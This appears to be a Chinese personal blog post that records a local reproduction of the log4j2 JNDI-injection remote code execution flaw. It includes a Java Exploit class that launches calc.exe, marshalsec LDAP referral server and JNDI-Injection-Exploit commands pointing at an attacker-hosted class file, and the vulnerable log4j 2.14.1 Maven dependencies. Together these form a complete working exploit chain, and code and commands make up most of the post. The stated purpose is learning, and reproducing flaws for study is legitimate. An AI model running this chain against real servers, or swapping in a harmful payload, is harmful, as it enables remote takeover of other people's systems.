炸锅了,过年了,吃瓜了。我的立场更倾向于最后一派,应该是开发运维炸锅修,安全过年,废物吃瓜😆 。(安抚同事情绪哈哈哈哈,鼓励师石锤)。

poc满天飞、exp公开、在野也有在被利用,某度、某果、某车、某界等等等都沦陷了。。。毕竟你要说用Java开发,不用去数谁在用log4j2,反向操作即可,影响范围太大了。

本地复现一下:

1、使用marshalsec-0.0.3-SNAPSHOT-all.jar 执行JNDI注入

(1)、写个弹出计算器的exp:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
 * @author jinyunlong
 * @date 2021/12/10 17:08
 * @profession ICBC锅炉房保安
 */
public class Exploit {
    public static void main(String[] args) {

    }

    public Exploit() throws Exception{
        Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        System.out.println("执行expppppppp");
        String line;
        while ((line = reader.readLine()) != null){
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
}

(2)、编译成.class文件

(3)、vps上启个端口监听,.class也放在该目录下绑定。python -m SimpleHTTPServer 8888

(4)、用jar包启动ldap服务,自己指定端口9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.6.128:8888/#Exploit" 9999

(5)、然后在pom引入那两个漏洞包:

<!--        <dependency>-->
<!--            <groupId>org.glavo</groupId>-->
<!--            <artifactId>log4j-patch</artifactId>-->
<!--            <version>1.0</version>-->
<!--        </dependency>-->
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

(6)、jndi注入,弹出计算器:

1.PNG

关于这个marshalsec-0.0.3-SNAPSHOT-all.jar的包,我也忘了是咋用的了,在以前试fastjson时用过,参考文章:
关于FastJson漏洞的一切(未完待续)

java 反序列化利用工具 marshalsec 使用简介

2、使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 进行JNDI注入

和1基本一样,不多记了

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "192.168.6.1"

2.jpg

3、使用JNDIExploit-1.3-SNAPSHOT.jar 注入内存马

那肯定没做啊

简单记录一下本地复现,没啥难度挺好利用。至于漏洞产生原因、源码栈的跟进、漏洞修补策略都没有记录,各大厂商和师傅们都有写了,可以看看。

贴几个:

知乎专栏:

Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?

官方:

https://github.com/apache/logging-log4j2/

各大厂商的漏洞预警通告:

太多了。


标题:log4j2远程代码执行漏洞本地复现
作者:jyl
地址:http://jinyunlong.xyz/articles/2021/12/11/1639216754626.html